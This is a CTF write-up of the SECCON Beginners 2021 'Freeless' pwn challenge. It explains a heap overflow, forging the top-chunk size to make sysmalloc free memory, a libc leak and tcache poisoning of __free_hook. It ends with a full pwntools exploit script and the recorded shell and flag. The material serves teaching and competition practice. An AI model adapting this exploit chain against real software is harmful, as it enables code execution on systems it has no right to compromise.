SECCON Beginners 2021 / Published
Freeless
With no free available, a top-chunk overflow forces sysmalloc to free memory, enabling a libc leak and tcache poisoning of __free_hook.
Contents 8
Files 1
- Target
- amd64, glibc 2.31
- RELRO
- Full
- Canary
- Found
- NX
- Enabled
- PIE
- Enabled
free関数を使わなければUse-after-Freeは発生しないですよね?
nc freeless.quals.beginners.seccon.jp 9077freeless.tar.gz 6bfc2be36c249bf337f074b9229002f531ba0693
Heap menu and binary protections
Let’s just translate the challenge description first.
Translated by DeepL: If you don’t use the free function, Use-after-Free won’t occur, right?
In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.
vagrant in pwnbox in /CTF/seccon-beginner-2021
❯ tree freeless
.
├── chall
├── libc-2.31.so
└── main.cHow nice, they even provided us with the source code! But let’s not get ahead of ourselves. Let’s start off by checking what security mitigations are present in the binary.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ checksec chall
[*] '/CTF/seccon-beginner-2021/freeless/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledWow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ ./chall
1. new
2. edit
3. show
> 1
index: 0
size: 1
1. new
2. edit
3. show
> 2
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
> 3
index: 0
data: AAAAAAAA
1. new
2. edit
3. show
>
[+] byeOn the surface, this seems like a pretty standard heap menu challenge, with one exception. We can create new items, edit them, and view them. However, there seems to be no way to delete items.
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep malloc main.c
note[idx] = (char*)malloc(size);
vagrant in pwnbox in /CTF/seccon-beginner-2021/freeless
❯ grep free main.c
Staying true to its name, free is not called anywhere within the program source. Well, that might pose a problem since freeing memory is quite essential in heap exploits.
Ideally the approach we’d take would be to first leak a libc address, calculate libc base, then call system/one_gadget by overwriting one of the libc hooks e.g. __malloc_hook, __free_hook since this is a Full RELRO enabled binary. But let’s not get ahead of ourselves.
Finding the heap overflow
To begin with, let’s play around with the program a little more to identify what bugs we can potentially leverage.
pwndbg> r
Starting program: /CTF/seccon-beginner-2021/freeless/chall
1. new
2. edit
3. show
> 1
index: 0
size: 24
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51
pwndbg> vis 1 0x555555758290
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> c
Continuing.
2
index: 0
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. new
2. edit
3. show
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b019ce in __GI___libc_read (fd=0, buf=0x7fffffffe180, nbytes=16) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis 1 0x555555758290
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x5555557582b0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA <-- Top chunkAs seen above, we have a heap overflow bug right off the bat.
void readline(char *buf) {
char c;
while ((read(0, &c, 1) == 1) && c != '\n')
*(buf++) = c;
}This vulnerability can be attributed to the buggy readline function above, which performs an unbounded read of our input (only stopping when it fails to get input from stdin or upon reading in a newline character).
Freeing the top chunk through sysmalloc
This is actually a really useful bug for getting our exploit up and running because we can actually leverage on this to regain our ability to free chunks. How so? Well since we can overwrite the top chunk, one of the intermediate steps in House of Orange comes to mind. In short, we’ll just trigger a call to sysmalloc which calls _int_free. Confused? No worries, let’s break it down.
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunkFirst, we need to understand what the top chunk is. It is available allocator space at the end of the heap, with a header that records its size. It does not belong to a bin; malloc can split allocations from it while keeping a minimum top remainder. Above, its span is 0x20d50 bytes. The size word 0x20d51 also has the PREV_INUSE bit set, which describes the previous chunk. Let’s verify the span.
0x555555758290 0x0000000000000000 0x0000000000000021 ........!.......
0x5555557582a0 0x0000000000000000 0x0000000000000000 ................
0x5555557582b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555758000 0x555555779000 rw-p 21000 0 [heap]
pwndbg> p/x 0x555555779000-0x5555557582b0
$1 = 0x20d50As seen above, we’ve confirmed that 0x20d50 is indeed the size of the remaining available memory in the heap. So what happens when the heap has insufficient memory to service a malloc request? Let’s read the glibc 2.31 source code to find out!
# Snippet from glibc 2.31 source malloc/malloc.c
/* ----------- Routines dealing with system allocation -------------- */
/*
sysmalloc handles malloc cases requiring more memory from the system.
On entry, it is assumed that av->top does not have enough
space to service request for nb bytes, thus requiring that av->top
be extended or replaced.
*/According to the above comment in the malloc source, there’s a function called sysmalloc that will be called when the heap does not contain enough space to service the malloc request.
The relevant main-arena branch of sysmalloc shortens the old top by 0x20 bytes to install two fenceposts. It calls _int_free on the remaining old-top chunk if that chunk is at least MINSIZE, which is 0x20 in this supplied libc. This branch sets PREV_INUSE without NON_MAIN_ARENA.
The top can satisfy a request only when its span covers the normalized allocation size plus a 0x20 minimum remainder. With the original 0x20d50 span, the challenge’s request limit prevents us from exhausting it in one allocation.
if (size >= 0x1000) {
print("[-] size too big\n");
} else {
note[idx] = (char*)malloc(size);
}The check rejects requests of 0x1000 bytes or more, so the largest permitted request is 0xfff bytes.
#define MAX_NOTE 0x10
char *note[MAX_NOTE];Additionally, we are only allowed to perform up to 16 allocations. Therefore, performing multiple allocations to exhaust 0x20d50 bytes is not an option. Thankfully, we can easily bypass this restriction by overwriting the top chunk size field using the heap overflow bug that we’ve identified earlier.
Trimming the top chunk
# Snippet from glibc 2.31 source malloc/malloc.c
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));Before we blindly overwrite the top chunk size using our heap overflow bug, there are a couple of restrictions that we have to take note of. With reference to the above lines in the malloc souce, we have to ensure that the top chunk size:
- Is at least the minimum chunk size,
MINSIZE = 0x20 - Has the
PREV_INUSEbit set - Ends at a page boundary: the top header address plus its span must be a multiple of
0x1000- Here the top header is at heap base plus
0x2b0, after chunks spanning0x290and0x20. A forged span of0x1000 - 0x290 - 0x20 = 0xd50therefore ends at the next page boundary.
- Here the top header is at heap base plus
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555758000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555758290
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x5555557582b0
Size: 0x20d51We can retain the last three nibbles of the size word: 0x20d51 -> 0xd51. This records a 0xd50 span with PREV_INUSE set; changing the word does not unmap the memory beyond it. The script’s next request is 0xd48 bytes, which is below the 0xfff limit.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x0000000000000d51 eaaafaaaQ....... <-- Top chunkWe use the overflow to trim the top, then request 0xd48 bytes. In this allocator, that request normalizes to a 0xd50 chunk. The forged top also spans 0xd50, so it cannot supply the allocation and leave the required 0x20 remainder. This forces sysmalloc to replace the top.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x0000000000000d31 eaaafaaa1....... <-- unsortedbin[all][0]
0x56176779e2c0 0x00007f1cda12fbe0 0x00007f1cda12fbe0 ................
0x56176779e2d0 0x0000000000000000 0x0000000000000000 ................
0x56176779e2e0 0x0000000000000000 0x0000000000000000 ................
---------------------------------TRUNCATED--------------------------------------
0x56176779efd0 0x0000000000000000 0x0000000000000000 ................
0x56176779efe0 0x0000000000000d30 0x0000000000000010 0...............
0x56176779eff0 0x0000000000000000 0x0000000000000011 ................We note that after the allocation, there are 3 new chunks created from the free space of 0xd50. We have one 0xd30 sized chunk (that has been linked into unsortedbins), and two 0x10 sized chunks. What are these 0x10 sized chunks? Once again, let’s consult the glibc source.
# Snippet from glibc 2.31 source malloc/malloc.c
/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/As seen from the above comment, sysmalloc inserts two fenceposts to prevent consolidation across the boundary. Their artificial 0x10 spans are smaller than the normal 0x20 minimum chunk size. Both initially have size word 0x11; freeing the preceding old top clears the first fencepost’s PREV_INUSE bit, leaving the recorded words 0x10 and 0x11.
What about the 0xd50 size chunk that we requested for?
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56176779e000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x56176779e290
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0
Allocated chunk
Addr: 0x56176779efe0
Size: 0x10
Allocated chunk | PREV_INUSE
Addr: 0x56176779eff0
Size: 0x11
Allocated chunk
Addr: 0x56176779f000
Size: 0x00
pwndbg> version
Gdb: 8.1.1
Python: 3.6.9 (default, Jan 26 2021, 15:33:00) [GCC 8.4.0]
Pwndbg: 1.1.0 build: f74aa34Notice that pwndbg’s heap command doesn’t seem to detect that new allocation. This is probably a bug, and is present in version 1.1.0 build: f7aa34 as seen above. So we’ll have to find it ourself.
pwndbg> dq ¬e
000056176626d040 000056176779e2a0 00005617677bf010
000056176626d050 0000000000000000 0000000000000000
000056176626d060 0000000000000000 0000000000000000
000056176626d070 0000000000000000 0000000000000000
pwndbg> vis 1 0x5617677bf010-0x10
0x5617677bf000 0x0000000000000000 0x0000000000000d51 ........Q.......
0x5617677bf010 0x0000000000000000 0x0000000000000000 ................
0x5617677bf020 0x0000000000000000 0x0000000000000000 ................
pwndbg> vis 1 0x5617677bf010-0x10+0xd50
0x5617677bfd50 0x0000000000000000 0x00000000000212b1 ................ <-- Top chunkSince the challenge binary isn’t stripped, we can check the note array, which tracks the allocated notes. The 0xd48-byte request returned a chunk spanning 0xd50, and the top is now at 0x5617677bfd50.
Relative to this run’s original heap base, the replacement allocation B starts at +0x21000, and the new top starts at +0x21d50. The bytes skipped between +0x1000 and +0x21000 remain mapped. These recorded offsets do not imply a separate mmap allocation.
Allocated chunk | PREV_INUSE (Tcache struct (default))
Addr: 0x56176779e000
Size: 0x291
Allocated chunk | PREV_INUSE (First Note)
Addr: 0x56176779e290
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE (Freed remaining space from initial top)
Addr: 0x56176779e2b0
Size: 0xd31
fd: 0x7f1cda12fbe0
bk: 0x7f1cda12fbe0
Allocated chunk (Fencepost chunk)
Addr: 0x56176779efe0
Size: 0x10
Allocated chunk | PREV_INUSE (Fencepost chunk)
Addr: 0x56176779eff0
Size: 0x11
Allocated chunk | PREV_INUSE (Second Note)
Addr: 0x5617677bf000
Size: 0xd51
Top chunk | PREV_INUSE
Addr: 0x5617677bfd50
Size: 0x212b1The old top is now split into an unsorted-bin chunk and two fenceposts. The replacement allocation begins at heap offset 0x21000.
Leaking libc from the unsortedbin
The freed heap chunk now contains unsorted-bin fd and bk pointers at header offsets +0x10 and +0x18. In this state, both point to main_arena + 96 in libc. We can leak these heap-stored pointers through the program’s show function.
void print(const char *msg) {
if (write(1, msg, strlen(msg)) < 0)
_exit(1);
}With reference to the print function in the program source, show will continue to print until it encounters a null byte (since strlen is used to determine how much printing to do). So all we have to do is to use the heap overflow bug to pad the data (in the first note) all the way until the libc address that we want to leak.
0x56176779e290 0x0000000000000000 0x0000000000000021 ........!.......
0x56176779e2a0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56176779e2b0 0x6161616661616165 0x6161616861616167 eaaafaaa1....... <-- unsortedbin[all][0]
0x56176779e2c0 0x00007f1cda12fbe0 0x00007f1cda12fbe0 ................Using show to print the data of the first note will now allow us to leak 0x7f1cda12fbe0.
Populating the tcachebin
Next, we need to somehow get hold of an arbitrary write primitive that allows us to target __malloc_hook or __free_hook. Since this is glibc 2.31, the easiest way to achieve this is via Tcache Poisoning. To achieve this, we first need to link at least 2 chunks into the same tcachebin. We can do this by leverage on sysmalloc as we did before, except we need the freed chunk to fall within the tcachebin range.
pwndbg> top_chunk
Top chunk
Addr: 0x560f55a40d50
Size: 0x212b1The current top’s size word ends in 0x2b1. After trimming it, sysmalloc can free 0x2b0 - 0x10 - 0x10 = 0x290 bytes, accounting for the two fenceposts. That chunk fits the 0x290 tcache bin. A 0x2a8-byte request normalizes to 0x2b0 and forces replacement of the trimmed top, but we have some cleanup to do first.
Before that request, we must consume the old 0xd30 unsorted-bin chunk used for the leak. Otherwise, malloc can split a 0x2b0 allocation from it without calling sysmalloc. The script creates C with a 0xd18-byte request, which normalizes to 0xd20. It receives the whole 0xd30 chunk because the 0x10 remainder is below MINSIZE.
Let’s recap what we have to do:
- Use heap overflow bug to restore
0xd31size field that we overwrite to leak the FD pointer. - Request
0xd18bytes for C to consume the whole0xd30unsorted chunk. - Trim top chunk size to
0x2b1by overflowing from the0xd50sized allocation (it’s right above the top chunk). - Request
0x2a8bytes for a0x2b0chunk to triggersysmallocand link the old free space into the0x290tcache bin.
pwndbg> tcachebins
tcachebins
0x290 [ 1]: 0x55b8a6635d60 ◂— 0x0
pwndbg> top_chunk
Top chunk
Addr: 0x55b8a66572b0
Size: 0x21d51After these steps, one chunk is in the 0x290 tcache bin. To add another, we first reduce the new top by a chunk span of 0xd50 - (0x290 + 0x10 + 0x10) = 0xaa0. The script requests 0xa98 bytes for E, which normalizes to 0xaa0. Trimming the remaining top then leaves another 0x2b0 span.
So in summary:
- Request
0xa98bytes for E, a0xaa0chunk; the top size word becomes0x212b1. - Trim top chunk size to
0x2b1by overflowing from chunk requested in step 1. - Request
0x2a8bytes for F, a0x2b0chunk, to triggersysmallocand add the old top to the0x290tcache bin.
pwndbg> tcachebins
tcachebins
0x290 [ 2]: 0x56363f628d60 —▸ 0x56363f606d60 ◂— 0x0Poisoning tcache for an arbitrary write
Awesome! As seen above, we’ve managed to set things up so that we can perform Tcache Poisoning.
pwndbg> vis 2 0x56363f6282c0-0x10
0x56363f6282b0 0x0000000000000000 0x0000000000000aa1 ................
0x56363f6282c0 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x56363f6282d0 0x6161616661616165 0x6161616861616167 eaaafaaagaaahaaa
0x56363f6282e0 0x6161616a61616169 0x6161616c6161616b iaaajaaakaaalaaa
0x56363f6282f0 0x6161616e6161616d 0x616161706161616f maaanaaaoaaapaaa
---------------------------------TRUNCATED--------------------------------------
0x56363f628d30 0x6175616261746162 0x6177616261766162 batabauabavabawa
0x56363f628d40 0x6179616261786162 0x61626262617a6162 baxabayabazabbba
0x56363f628d50 0x6164626261636262 0x0000000000000291 bbcabbda........
0x56363f628d60 0x000056363f606d60 0x000056363f5e5010 `m`?6V...P^?6V.. <-- tcachebins[0x290][0/2]The 0xaa0 chunk is E. The freed victim immediately after it is V, not script chunk_F: allocating F triggers the old top’s free. Relative to E’s user pointer, V’s header is at +0xa90, its size word at +0xa98, its tcache next at +0xaa0, and its key at +0xaa8.
The overflow preserves size word 0x291 and replaces next, originally 0x000056363f606d60 in the dump, with target T. Tcache links store user-data pointers, not chunk-header pointers. The historical debugger example below uses 0xdeadbeefdeadbeef only as a recognizable marker; it is not a usable allocation target.
pwndbg> tcachebins
tcachebins
0x290 [ 2]: 0x56363f628d60 —▸ 0xdeadbeefdeadbeef ◂— 0x0The script instead sets T to __free_hook, a writable symbol at libc base plus 0x1eeb28 in the supplied libc. Its tcache retrieval uses an unencoded next pointer: with two entries counted, two 0x288-byte requests normalize to 0x290 and return V, then T. A literal malloc(0x290) would select a different size class.
T is a forged tcache entry, not a normal chunk with a validated header. Retrieval reads T.next and clears the key-sized word at T+8; a later edit supplies the hook bytes at T. The target must support those reads and writes. Hence, we’ve achieved an arbitrary write.
Overwriting libc hooks and spawning a shell
The exploit below uses the two writes to install the hook targets and trigger the one-gadget; the allocator steps above do not control that gadget’s register and stack constraints. Its recorded output follows.
from pwn import *
HOST = "freeless.quals.beginners.seccon.jp"
PORT = 9077
CHALLENGE = "./chall"
CHALLENGE_LIBC = "libc-2.31.so"
DEBUG_LIBC = "libc-2.31-debug.so"
MENU_PROMPT = "> "
INDEX_PROMPT = "index: "
SIZE_PROMPT = "size: "
DATA_PROMPT = "data: "
DATA_MARKER = "data: "
CURRENT_INDEX = 0
elf = context.binary = ELF(CHALLENGE, checksec=False)
if args.REMOTE:
io = remote(HOST, PORT)
libc = ELF(CHALLENGE_LIBC, checksec=False)
# Use posix_spawn one_gadget (tends to be less finnicky)
# (https://github.com/david942j/one_gadget/issues/121)
libc.symbols["one_gadget"] = 0x54F89
libc.symbols["main_arena"] = libc.sym.__malloc_hook + 0x10
else:
io = elf.process()
libc = ELF(DEBUG_LIBC, checksec=False)
libc.symbols["one_gadget"] = 0xBEEF # one_gadget wont work with debug libc
def create(size: int) -> int:
global CURRENT_INDEX
io.sendlineafter(MENU_PROMPT, str(1))
io.sendlineafter(INDEX_PROMPT, str(CURRENT_INDEX))
io.sendlineafter(SIZE_PROMPT, str(size))
CURRENT_INDEX += 1
return CURRENT_INDEX - 1
def edit(index: int, data: bytes):
io.sendlineafter(MENU_PROMPT, str(2))
io.sendlineafter(INDEX_PROMPT, str(index))
io.sendlineafter(DATA_PROMPT, data)
def view(index: int) -> bytes:
io.sendlineafter(MENU_PROMPT, str(3))
io.sendlineafter(INDEX_PROMPT, str(index))
io.recvuntil(DATA_MARKER)
return io.recvline()
def extract_address(leak: bytes) -> int:
return u64(leak[:6].ljust(8, b"\x00"))
# Stage 1: Trigger _int_free to link free space into unsortedbin chunk
chunk_A = create(0x18)
edit(chunk_A, flat({0x18: p64(0xD51)}))
chunk_B = create(0xD48)
# Stage 2: Leak libc address
edit(chunk_A, cyclic(0x20))
main_arena_96 = extract_address(view(chunk_A)[0x20:])
libc.address = main_arena_96 - (libc.sym.main_arena + 96)
log.success(f"libc @ {hex(libc.address)}")
edit(chunk_A, flat({0x18: p64(0xD31)}))
chunk_C = create(0xD18)
# Stage 3: Trigger _int_free to link free space into tcachebins
edit(chunk_B, flat({0xD48: p64(0x2B1)}))
chunk_D = create(0x2A8) # Link free space (0x290) into tcachebins
# Stage 4: Trigger _int_free to link another chunk into 0x290 tcachebins
# Current free space is 0x21D51
# So if we want to link another 0x290 sized chunk, we have to shrink
# free space by: 0xD50 - (0x290 + 0x20) = 0xAA0
# Note: 0x20 is for the 2 fencepost chunks placed by sysmalloc
# Free space left will be 0x212B1
chunk_E = create(0xA98) # Shrink free space to (0x290)
edit(chunk_E, flat({0xA98: p64(0x2B1)}))
chunk_F = create(0x2A8) # Link free space (0x290) into tcachebins
# At this point, we have to set up the following:
# __free_hook -> one_gadget
# __malloc_hook -> free (this will be used to trigger __free_hook)
#
# Otherwise, one_gadget will segfault when rsp dereferenced during:
# movaps xmmword ptr [rsp + 0x50], xmm0
# Stage 5: Perform tcache poisoning (__free_hook -> one_gadget)
edit(chunk_E, flat({0xA98: p64(0x291)}, p64(libc.sym.__free_hook)))
chunk_G = create(0x288)
chunk_H = create(0x288)
edit(chunk_H, p64(libc.sym.one_gadget))
# Stage 6: Link 2 more chunks into 0x290 tcachebins for another write
chunk_I = create(0xA98) # Shrink free space to (0x290)
edit(chunk_I, flat({0xA98: p64(0x2B1)}))
chunk_J = create(0x2A8) # Link free space (0x290) into tcachebins
chunk_K = create(0xA98) # Shrink free space to (0x290)
edit(chunk_K, flat({0xA98: p64(0x2B1)}))
chunk_L = create(0x2A8) # Link free space (0x290) into tcachebins
# Stage 7: Perform tcache poisoning (__malloc_hook -> free)
edit(chunk_K, flat({0xA98: p64(0x291)}, p64(libc.sym.__malloc_hook)))
chunk_M = create(0x288)
chunk_N = create(0x288)
edit(chunk_N, p64(libc.sym.free + 8)) # +8 to prevent movaps segfault
# Stage 8: Trigger one_gadget
create(0x18)
io.interactive()The original remote run recorded the following result.
❯ python xpl.py REMOTE
[+] Opening connection to freeless.quals.beginners.seccon.jp on port 9077: Done
[+] libc @ 0x7fd587d70000
[*] Switching to interactive mode
$ cat flag*
ctf4b{sysmalloc_wh4t_R_U_d01ng???}Result
Flag: ctf4b{sysmalloc_wh4t_R_U_d01ng???}